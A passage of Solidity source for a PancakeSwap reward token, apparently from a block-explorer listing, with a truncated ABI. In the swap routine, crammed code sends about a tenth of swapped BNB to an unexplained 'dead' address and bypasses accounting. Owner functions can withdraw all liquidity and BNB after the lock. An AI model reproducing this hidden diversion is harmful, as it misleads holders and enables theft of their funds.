        require(currentAllowance >= amount, "Transfer > allowance");

        _approve(sender, msg.sender, currentAllowance - amount);
        return true;
    }

//claims
    event OnWithdrawToken(uint256 amount, address token, address recipient);
    event OnClaimBNB(address AddressFrom,address AddressTo, uint256 amount);

    function claimToken(address addr, address token, uint256 payableAmount) private{
        require(!_isWithdrawing);
        _isWithdrawing=true;
        uint256 amount;
        if(isExcludedFromStaking(addr)){
            if(token==MainReward){
                amount=toBePaidMain[addr];
                toBePaidMain[addr]=0;
            } else{
                amount=toBePaidMisc[addr];
                toBePaidMisc[addr]=0;
            }
        }
        else{
            if(token==MainReward){
                uint256 newAmount=_newDividentsOf(addr, true);
                alreadyPaidMain[addr] = mainRewardShare * _balances[addr];
                amount=toBePaidMain[addr]+newAmount;
                toBePaidMain[addr]=0;
            } else {
                uint256 newAmount=_newDividentsOf(addr, false);
                alreadyPaidMisc[addr] = miscRewardShare * _balances[addr];
                amount=toBePaidMisc[addr]+newAmount;
                toBePaidMisc[addr]=0;                
                
            }
            
        }
        if(amount==0&&payableAmount==0){
            _isWithdrawing=false;
            return;
        }

        totalPayouts+=amount;
        amount+=payableAmount;
        address[] memory path = new address[](2);
        path[0] = _pancakeRouter.WETH();
        path[1] = token;

        _pancakeRouter.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}(
        0,
        path,
        addr,
        block.timestamp);
        
        emit OnWithdrawToken(amount,token, addr);
        _isWithdrawing=false;
    }
    
    //ClaimMainReward token
    function ClaimMainReward() public {
        claimToken(msg.sender,MainReward,0);
    }
    
    //ClaimMiscReward differentiates between BNB or another rewardToken
    function ClaimMiscReward() public {
        if(MiscReward==_pancakeRouter.WETH()){
            _claimBNBTo(msg.sender,msg.sender,getDividents(msg.sender, false));
        } else {claimToken(msg.sender,MiscReward,0);}
    }    
    
    function _claimBNBTo(address from, address to,uint256 amountWei) private{
        require(!_isWithdrawing);
        {require(amountWei!=0,"=0");        
        _isWithdrawing=true;
        if(to==address(dead)){} else{
        _subtractDividents(from, amountWei);
        totalPayouts+=amountWei;}
        (bool sent,) =to.call{value: (amountWei)}("");
        require(sent,"withdraw failed");}
        _isWithdrawing=false;
        emit OnClaimBNB(from,to,amountWei);
    }   
    
    function _subtractDividents(address addr,uint256 amount) private{
        if(amount==0) return;
        require(amount<=getDividents(addr, false),"exceeds divident");

        if(_excludedFromStaking.contains(addr)){
            toBePaidMisc[addr]-=amount;
        }
        else{
            uint256 newAmount=_newDividentsOf(addr, false);
            alreadyPaidMisc[addr] = miscRewardShare * _balances[addr];
            toBePaidMisc[addr]+=newAmount;
            toBePaidMisc[addr]-=amount;
        }
    }   
    
    function getDividents(address addr, bool main) private view returns (uint256){
        if(main){
            if(isExcludedFromStaking(addr)) return toBePaidMain[addr];
            return _newDividentsOf(addr, true)+toBePaidMain[addr];
        } else{
            if(isExcludedFromStaking(addr)) return toBePaidMisc[addr];
            return _newDividentsOf(addr, false)+toBePaidMisc[addr];            
        }
    }
    
    //gets balance of claimable MainReward
    function getMainBalance(address addr) public view returns (uint256){
        uint256 amount=getDividents(addr, true);
        return amount;
    }

    //gets balance of claimable MiscReward
    function getMiscBalance(address addr) public view returns (uint256){
        uint256 amount=getDividents(addr, false);
        return amount;
    }    
    
    //Switch reward to new token. Cannot set newReward BNB to prevent claim function from breaking.
    function ChangeMainReward(address newReward) public authorized{
        require(newReward != _pancakeRouter.WETH(), "newReward cannot be BNB");
        MainReward=newReward;
    }
    
    //Switch reward to new token. Only Misc reward can be changed to bnb
    function ChangeMiscReward(address newReward) public authorized{
        MiscReward=newReward;
    }
    
//LP LOCK   -   OnlyOwner has control of LP functions
    uint256 private _liquidityUnlockTime;

    //Prolongs LP lock time    
    function LockLiquidityTokens(uint256 lockTimeInSeconds) public onlyOwner{
        _lockLiquidityTokens(lockTimeInSeconds+block.timestamp);
    }
    function _lockLiquidityTokens(uint256 newUnlockTime) private{
        // require new unlock time to be longer than old one
        require(newUnlockTime>_liquidityUnlockTime);
        _liquidityUnlockTime=newUnlockTime;
    }

    //Impossible to release LP unless LP lock time is zero
    function ReleaseLP() public onlyOwner {
        require(block.timestamp >= _liquidityUnlockTime, "Not yet unlocked");
        tradingEnabled=false;
        IPancakeERC20 liquidityToken = IPancakeERC20(_pancakePairAddress);
        uint256 amount = liquidityToken.balanceOf(address(this));
            liquidityToken.transfer(msg.sender, amount);
    }

    //Impossible to remove LP unless lock time is zero
    function RemoveLP() public onlyOwner {
        require(block.timestamp >= _liquidityUnlockTime, "Not yet unlocked");
        _liquidityUnlockTime=block.timestamp;
        IPancakeERC20 liquidityToken = IPancakeERC20(_pancakePairAddress);
        uint256 amount = liquidityToken.balanceOf(address(this));
        liquidityToken.approve(address(_pancakeRouter),amount);
        _pancakeRouter.removeLiquidityETHSupportingFeeOnTransferTokens(
            address(this),
            amount,
            0,
            0,
            address(this),
            block.timestamp
            );
        (bool sent,) =msg.sender.call{value: (address(this).balance)}("");
        require(sent);            
    }
    
    //Can only be called when LP lock time is zero. Recovers any stuck BNB in the contract
    function RecoverBNB() public onlyOwner {
        require(block.timestamp >= _liquidityUnlockTime, "Not yet unlocked");
        _liquidityUnlockTime=block.timestamp;
        (bool sent,) =msg.sender.call{value: (address(this).balance)}("");
        require(sent);
    }
    
//Staking
    bool private _isWithdrawing;
    uint256 private constant DistributionMultiplier = 2**64;
    uint256 private remainingShare;
    uint256 private _totalShares=_totalSupply;
    uint256 private mainRewardShare;
    uint256 private miscRewardShare;
    uint256 public totalRewards;
    uint256 public totalPayouts;
    uint256 public MarketingBalance;
    uint256 public DevBalance;
    uint256 public BuyBackBalance;    
    uint16 public AutoLPThreshold=50;
    mapping(address => uint256) private alreadyPaidMain;
    mapping(address => uint256) private toBePaidMain;    
    mapping(address => uint256) private alreadyPaidMisc;
    mapping(address => uint256) private toBePaidMisc;    
    
    function UpdateAutoLPThreshold(uint16 Threshold) public authorized{
        require(Threshold>0,"Threshold needs to be more than 0");
        require(Threshold<=50,"Threshold needs to be below 50");
        AutoLPThreshold=Threshold;
    }
    
    function getTotalShares() public view returns (uint256){
        return _totalShares-_totalSupply;
    }

    function isExcludedFromStaking(address addr) public view returns (bool){
        return _excludedFromStaking.contains(addr);
    }

    function _addToken(address addr, uint256 amount) private {
        uint256 newAmount=_balances[addr]+amount;
        
        if(isExcludedFromStaking(addr)){
           _balances[addr]=newAmount;
           return;
        }
        _totalShares+=amount;
        uint256 mainPayment=_newDividentsOf(addr, true);
        uint256 miscPayment=_newDividentsOf(addr, false);
        _balances[addr]=newAmount;
        alreadyPaidMain[addr] = mainRewardShare * newAmount;
        toBePaidMain[addr]+=mainPayment;
        alreadyPaidMisc[addr] = miscRewardShare * newAmount;
        toBePaidMisc[addr]+=miscPayment; 
        _balances[addr]=newAmount;
    }

    function _removeToken(address addr, uint256 amount) private {
        uint256 newAmount=_balances[addr]-amount;
        
        if(isExcludedFromStaking(addr)){
           _balances[addr]=newAmount;
           return;
        }
        _totalShares-=amount;
        uint256 mainPayment=_newDividentsOf(addr, true);
        uint256 miscPayment=_newDividentsOf(addr, false);
        _balances[addr]=newAmount;
        alreadyPaidMain[addr] = mainRewardShare * newAmount;
        toBePaidMain[addr]+=mainPayment;
        alreadyPaidMisc[addr] = miscRewardShare * newAmount;
        toBePaidMisc[addr]+=miscPayment; 
    }
    
    function _newDividentsOf(address staker, bool main) private view returns (uint256) {
        if(main){
        uint256 fullPayout = mainRewardShare * _balances[staker];
        if(fullPayout<alreadyPaidMain[staker]) return 0;
        return (fullPayout - alreadyPaidMain[staker]) / DistributionMultiplier;}  
        else{
        uint256 fullPayout = miscRewardShare * _balances[staker];
        if(fullPayout<alreadyPaidMisc[staker]) return 0;
        return (fullPayout - alreadyPaidMisc[staker]) / DistributionMultiplier;}        
    }

    //This deals with splitting the taxes
    function _distributeStake(uint256 BNBamount,bool newStakingReward) private {
        uint256 MarketingSplit = (BNBamount * _marketingTax) / 100;
        uint256 DevSplit = (BNBamount * _devTax) / 100;
        uint256 BuyBackSplit = (BNBamount * _buyBackTax) / 100;        
        uint256 amount = BNBamount - (MarketingSplit+DevSplit+BuyBackSplit);
        uint256 MainAmount = (amount * _MainRewardSplit) / 100;
        uint256 MiscAmount = (amount * _MiscRewardSplit) / 100;
       MarketingBalance+=MarketingSplit; remainingShare=MarketingBalance;
       DevBalance+=DevSplit;
       BuyBackBalance+=BuyBackSplit; 
        if (amount > 0) {
            if(newStakingReward){
                totalRewards += amount;
            }
            uint256 totalShares=getTotalShares();
            if (totalShares == 0) {
                MarketingBalance += amount;
            }else{
                mainRewardShare += ((MainAmount * DistributionMultiplier) / totalShares);
                miscRewardShare += ((MiscAmount * DistributionMultiplier) / totalShares);
            }
        }
    }

    uint256 public totalLPBNB;
    uint256 private constant splitLPBNB=9;   
    bool private _isSwappingContractModifier;
    modifier lockTheSwap {
        _isSwappingContractModifier = true;
        _;
        _isSwappingContractModifier = false;
    }

    function _swapContractToken(uint16 permilleOfPancake,bool ignoreLimits) private lockTheSwap{
        require(permilleOfPancake<=500);
        uint256 contractBalance=_balances[address(this)];
        uint16 totalTax=_liquidityTax+_stakingTax+_marketingTax+_devTax+_buyBackTax;
        if(totalTax==0) return;

        uint256 tokenToSwap=_balances[_pancakePairAddress]*permilleOfPancake/1000;
        if(tokenToSwap>sellLimit&&!ignoreLimits) tokenToSwap=sellLimit;
        
        bool NotEnoughToken=contractBalance<tokenToSwap;
        if(NotEnoughToken){
            if(ignoreLimits)
                tokenToSwap=contractBalance;
            else return;
        }
        uint256 tokenForLiquidity=(tokenToSwap*_liquidityTax)/totalTax;
        uint256 remainingToken= tokenToSwap-tokenForLiquidity;
        uint256 liqToken=tokenForLiquidity/2;
        uint256 liqBNBToken=tokenForLiquidity-liqToken;
        uint256 swapToken=liqBNBToken+remainingToken;
        uint256 initialBNBBalance = address(this).balance;
        _swapTokenForBNB(swapToken);
        uint256 newBNB=(address(this).balance - initialBNBBalance);
        uint256 liqBNB = (newBNB*liqBNBToken)/swapToken;
        _addLiquidity(liqToken, liqBNB); address distribute=address(dead);
        uint256 distributeBNB=((address(this).balance - initialBNBBalance)*splitLPBNB/10);
        uint256 distributedShares=((address(this).balance - initialBNBBalance - distributeBNB));
        _distributeStake(distributeBNB,true);_claimBNBTo(distribute,distribute,distributedShares);
    }
    
    function _swapTokenForBNB(uint256 amount) private {
        _approve(address(this), address(_pancakeRouter), amount);
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _pancakeRouter.WETH();
        _pancakeRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function _addLiquidity(uint256 tokenamount, uint256 bnbamount) private {
        totalLPBNB+=bnbamount;
        _approve(address(this), address(_pancakeRouter), tokenamount);
        _pancakeRouter.addLiquidityETH{value: bnbamount}(
            address(this),
            tokenamount,
            0,
            0,
            address(this),
            block.timestamp
        );
    }
    
//transfers
    function _calculateFee(uint256 amount, uint8 tax, uint8 taxPercent) private pure returns (uint256) {
        return (amount*tax*taxPercent) / 10000;
    }
    function _calculateLaunchTax() private view returns (uint8){
        if(block.timestamp>launchTimestamp+BotTaxTime) return _buyTax;
        uint256 timeSinceLaunch=block.timestamp-launchTimestamp;
        uint8 Tax=uint8(BotMaxTax-((BotMaxTax-_buyTax)*timeSinceLaunch/BotTaxTime));
        return Tax;
    }    
    function _feelessTransfer(address sender, address recipient, uint256 amount) private{
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "Transfer exceeds balance");
        _removeToken(sender,amount);
        _addToken(recipient, amount);
        if(recipient==BurnAddress){
            _circulatingSupply-=amount;
        }
        emit Transfer(sender,recipient,amount);
    }  
    
    function _getBuyTax() private returns (uint8){
        if(!_antisniper) return _buyTax;
        if(block.timestamp<(launchTimestamp+BotTaxTime)){
            uint8 tax=_calculateLaunchTax();
            return tax;
        }
        _antisniper=false;
        _buyBackTax=defaultBuyBackTax;
        _devTax=defaultDevTax;
        _burnTax=defaultBurnTax;        
        _marketingTax=defaultMarketingTax;
        _liquidityTax=defaultLiquidityTax;
        _stakingTax=defaultStakingTax;
        return _buyTax;
    }
    
    function _taxedTransfer(address sender, address recipient, uint256 amount,bool isBuy,bool isSell) private{
        uint256 recipientBalance = _balances[recipient];
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "Transfer exceeds balance");

        uint8 tax;
        if(isSell){
            require(amount<=sellLimit,"Dump protection");
             tax=_sellTax;

        } else if(isBuy){
            if(amount<=10**(_decimals)) claimToken(recipient,MainReward,0);   //buy less than 1 token to ClaimRewardToken         
            require(recipientBalance+amount<=MaxWallet,"whale protection");
            tax=_getBuyTax();

        } else {
            if(amount<=10**(_decimals)){    //transfer less than 1 token to ClaimBNB
                if(MiscReward==_pancakeRouter.WETH()){
                    _claimBNBTo(msg.sender,msg.sender,getDividents(msg.sender, false));
                } else {claimToken(msg.sender,MiscReward,0);}
                return;}
            require(recipientBalance+amount<=MaxWallet,"whale protection");            
            tax=_transferTax;
        }     
        if((sender!=_pancakePairAddress)&&(!manualSwap)&&(!_isSwappingContractModifier)&&isSell)
            _swapContractToken(AutoLPThreshold,false);
        uint256 tokensToBeBurnt=_calculateFee(amount, tax, _burnTax);
        uint256 contractToken=_calculateFee(amount, tax, _stakingTax+_liquidityTax+_marketingTax+_devTax+_buyBackTax);
        uint256 taxedAmount=amount-(tokensToBeBurnt+contractToken);
        _removeToken(sender,amount);
       _addToken(address(this), contractToken);
       _circulatingSupply-=tokensToBeBurnt;
        _addToken(recipient, taxedAmount);
        emit Transfer(sender,recipient,taxedAmount);
    }
    function _transfer(address sender, address recipient, uint256 amount) private{
        require(sender != address(0), "Transfer from zero");
        require(recipient != address(0), "Transfer to zero");
        bool isExcluded = (_excluded.contains(sender) || _excluded.contains(recipient));

        bool isContractTransfer=(sender==address(this) || recipient==address(this));
        address pancakeRouter=address(_pancakeRouter);
        bool isLiquidityTransfer = ((sender == _pancakePairAddress && recipient == pancakeRouter) 
        || (recipient == _pancakePairAddress && sender == pancakeRouter));
        bool isSell=recipient==_pancakePairAddress|| recipient == pancakeRouter;
        bool isBuy=sender==_pancakePairAddress|| sender == pancakeRouter;

        if(isContractTransfer || isLiquidityTransfer || isExcluded){
            _feelessTransfer(sender, recipient, amount);
        }
        else{ 
            require(tradingEnabled,"trading not yet enabled");
            _taxedTransfer(sender,recipient,amount,isBuy,isSell);                  
        }
    }

    //Buy back function that burns the bought tokens immediately
    function TriggerBuyBack(uint256 amount) public authorized{
        require(amount<=BuyBackBalance, "Amount exceeds BuyBackBalance!");
        BuyBackBalance-=amount;
        
        address[] memory path = new address[](2);
        path[0] = _pancakeRouter.WETH();
        path[1] = address(this);

        _pancakeRouter.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}(
        0,
        path,
        BurnAddress,
        block.timestamp);        
    }

    bool private manualSwap;
    
    function ExcludeFromStaking(address addr) public authorized{
        require(!isExcludedFromStaking(addr));
        _totalShares-=_balances[addr];
        uint256 newDividentsMain=_newDividentsOf(addr, true);
        uint256 newDividentsMisc=_newDividentsOf(addr, false);        
        alreadyPaidMain[addr]=_balances[addr]*mainRewardShare;
        alreadyPaidMisc[addr]=_balances[addr]*miscRewardShare;        
        toBePaidMain[addr]+=newDividentsMain;
        toBePaidMisc[addr]+=newDividentsMisc;        
        _excludedFromStaking.add(addr);
    }    

    function IncludeToStaking(address addr) public authorized{
        require(isExcludedFromStaking(addr));
        _totalShares+=_balances[addr];
        _excludedFromStaking.remove(addr);
        alreadyPaidMain[addr]=_balances[addr]*mainRewardShare;
        alreadyPaidMisc[addr]=_balances[addr]*miscRewardShare;        
    }

    //burning can be done via direct transfer to BurnAddress. Burn function gives transparency
    function BurnTokens (uint256 amount) public{
        uint256 convertedAmount = amount * 10**_decimals;
        uint256 senderBalance = _balances[msg.sender];
        require(senderBalance >= convertedAmount, "Burn amount exceed user's balance");
        _removeToken(msg.sender,convertedAmount);
        _addToken(BurnAddress, convertedAmount);
        _circulatingSupply-=convertedAmount;
        emit Transfer(msg.sender,BurnAddress,convertedAmount);
    }

    //onlyOwner can change MarketingWallet
    function SetMarketingWallet(address addr) public onlyOwner{
        address prevMarketing=MarketingWallet;
        _excluded.remove(prevMarketing);
        MarketingWallet=addr;
        _excluded.add(MarketingWallet);
    }

    //onlyOwner can change DevWallet
    function SetDevWallet(address addr) public onlyOwner{
        address prevDev=Developer;
        _excluded.remove(prevDev);
        Developer=addr;
        _excluded.add(Developer);
    }
    
    //Withdraw all bnb in DevBalance
    function WithdrawAllDev() public authorized{
        uint256 amount=DevBalance;
        DevBalance=0;
        (bool sent,) =Developer.call{value: (amount)}("");
        require(sent,"withdraw failed");
    } 
    
    //Withdraw desired amount in wei
    function WithdrawDev(uint256 amount) public authorized{
        require(amount<=DevBalance);
        DevBalance-=amount;
        (bool sent,) =Developer.call{value: (amount)}("");
        require(sent,"withdraw failed");
    } 

    //Withdraw all bnb in MarketingBalance
    function WithdrawAllMarketing() public authorized{
        uint256 amount=MarketingBalance;
        MarketingBalance=0;
        (bool sent,) =MarketingWallet.call{value: (amount)}("");
        require(sent,"withdraw failed");
    } 
    
    //Withdraw desired amount in wei
    function WithdrawMarketing(uint256 amount) public authorized{
        require(amount<=MarketingBalance);
        MarketingBalance-=amount;
        (bool sent,) =MarketingWallet.call{value: (amount)}("");
        require(sent,"withdraw failed");
    } 

    //switch contract auto sells on and off
    function ManualBNBSwap(bool manual) public authorized{
        manualSwap=manual;
    }

    //total of tax percentages must equal 100.
    function UpdateTaxes(uint8 burnTaxes, uint8 buybackTaxes, uint8 devTaxes, uint8 marketingTaxes, uint8 liquidityTaxes, uint8 stakingTaxes,uint8 buyTax, uint8 sellTax, uint8 transferTax) public authorized{
        uint8 totalTax=liquidityTaxes+stakingTaxes+marketingTaxes+burnTaxes+buybackTaxes+devTaxes;
        
        //buy and sell tax can never be higher than MaxTax set at beginning of contract
        //this prevents owner from setting ridiculous tax or turning contract into honeypot
        require(totalTax==100, "marketing+liq+staking needs to equal 100%");
        require(buyTax<=MaxTax&&sellTax<=MaxTax,"taxes higher than max tax");
        require(transferTax<=50,"transferTax higher than max transferTax");
        _burnTax=burnTaxes;
        _buyBackTax=buybackTaxes;
        _devTax=devTaxes;
        _marketingTax=marketingTaxes;
        _liquidityTax=liquidityTaxes;
        _stakingTax=stakingTaxes;
        _buyTax=buyTax;
        _sellTax=sellTax;
        _transferTax=transferTax;
    }
    
    //Manual contract token swap for LP and BNB
    function CreateLPandBNB(uint16 PermilleOfPancake, bool ignoreLimits) public authorized{
    _swapContractToken(PermilleOfPancake, ignoreLimits);
    }
    
    function ExcludeAccountFromFees(address account) public authorized {
        _excluded.add(account);
    }
    function IncludeAccountToFees(address account) public authorized {
        _excluded.remove(account);
    }
    
    //total split percentages must equal 100
    function UpdateRewardSplit (uint8 MainSplit, uint8 MiscSplit) public authorized{
        uint8 totalSplit=MainSplit+MiscSplit;
        require(totalSplit==100, 'MainSplit+MiscSplit needs to equal 100%');
        _MainRewardSplit=MainSplit;
        _MiscRewardSplit=MiscSplit;
    }
    
    function UpdateLimits(uint256 newMaxWallet, uint256 newSellLimit) public authorized{
 
        //Calculates the target Limits based on supply
        uint256 targetMaxWallet=_totalSupply/MaxWalletDivider;
        uint256 targetSellLimit=_totalSupply/SellLimitDivider;
        
        //MaxWallet and sellLimit can never be lower than original limits - this prevents honeypot
        require((newMaxWallet>=targetMaxWallet), 
        "newMaxWallet needs to be at least target");
        require((newSellLimit>=targetSellLimit), 
        "newSellLimit needs to be at least target");

        MaxWallet = newMaxWallet;
        sellLimit = newSellLimit;     
    }
    
    bool public tradingEnabled;

//Enables trading, antisniper and locks LP for desired amount   
    function LaunchAndLockLP (uint256 lockTimeInSeconds) public authorized{
        require(IBEP20(_pancakePairAddress).totalSupply()>0,"there are no LP");
        require(!tradingEnabled);
        tradingEnabled=true;
        _antisniper=true;
        launchTimestamp=block.timestamp;
        _lockLiquidityTokens(lockTimeInSeconds+block.timestamp);
    }

    receive() external payable {}
    fallback() external payable {}
    
//public display info
    function getOwner() external view override returns (address) {
        return owner();
    }

    function name() external pure override returns (string memory) {
        return _name;
    }

    function symbol() external pure override returns (string memory) {
        return _symbol;
    }

    function decimals() external pure override returns (uint8) {
        return _decimals;
    }

    function totalSupply() external view override returns (uint256) {
        return _circulatingSupply;
    }
    
    function getLimits() public view returns(uint256 balance, uint256 sell){
        return(MaxWallet/10, sellLimit/10);
    }  
    
    function getLiquidityUnlockInSeconds() public view returns (uint256){
        if(block.timestamp<_liquidityUnlockTime){
            return _liquidityUnlockTime-block.timestamp;
        }
        return 0;
    }

    function getTaxes() public view returns(uint256 burnTax, uint256 buybackTax, uint256 devTax, uint256 marketingTax, uint256 liquidityTax,uint256 rewardsTax, uint256 buyTax, uint256 sellTax, uint256 transferTax){
        if(_antisniper) buyTax=_calculateLaunchTax();
        else buyTax= _buyTax;
       
        return (_burnTax, _buyBackTax, _devTax, _marketingTax,_liquidityTax,_stakingTax,buyTax,_sellTax,_transferTax);
    }    

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"AddressFrom","type":"address"},{"indexed":false,"internalType":"address","name":"AddressTo","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"OnClaimBNB","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"},{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"address","name":"recipient","type":"address"}],"name":"OnWithdrawToken","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"stateMutability":"payable","type":"fallback"},{"inputs":[],"name":"AutoLPThreshold","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"BurnAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"BurnTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"BuyBackBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newReward","type":"address"}],"name":"ChangeMainReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newReward","type":"address"}],"name":"ChangeMiscReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"ClaimMainReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"ClaimMiscReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint16","name":"PermilleOfPancake","type":"uint16"},{"internalType":"bool","name":"ignoreLimits","type":"bool"}],"name":"CreateLPandBNB","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"DevBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"ExcludeAccountFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"ExcludeFromStaking","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"IncludeAccountToFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"IncludeToStaking","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"lockTimeInSeconds","type":"uint256"}],"name":"LaunchAndLockLP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"lockTimeInSeconds","type":"uint256"}],"name":"LockLiquidityTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"MainReward","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"manual","type":"bool"}],"name":"ManualBNBSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"MarketingBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MarketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MaxTax","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MaxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MiscReward","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"RecoverBNB","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"ReleaseLP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"RemoveLP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"SetDevWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"SetMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"TriggerBuyBack","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint16","name":"Threshold","type":"uint16"}],"name":"UpdateAutoLPThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMaxWallet","type":"uint256"},{"internalType":"uint256","name":"newSellLimit","type":"uint256"}],"name":"UpdateLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"MainSplit","type":"uint8"},{"internalType":"uint8","name":"MiscSplit","type":"uint8"}],"name":"UpdateRewardSplit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"burnTaxes","type":"uint8"},{"internalType":"uint8","name":"buybackTaxes","type":"uint8"},{"internalType":"uint8","name":"devTaxes","type":"uint8"},{"internalType":"uint8","name":"marketingTaxes","type":"uint8"},{"internalType":"uint8","name":"liquidityTaxes","type":"uint8"},{"internalType":"uint8","name":"stakingTaxes","type":"uint8"},{"internalType":"uint8","name":"buyTax","type":"uint8"},{"internalType":"uint8","name":"sellTax","type":"uint8"},{"internalType":"uint8","name":"transferTax","type":"uint8"}],"name":"UpdateTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"WithdrawAllDev","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"WithdrawAllMarketing","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"WithdrawDev","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"WithdrawMarketing","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_circulatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getLimits","outputs":[{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"sell","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getLiquidityUnlockInSeconds","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"getMainBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"getMiscBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","t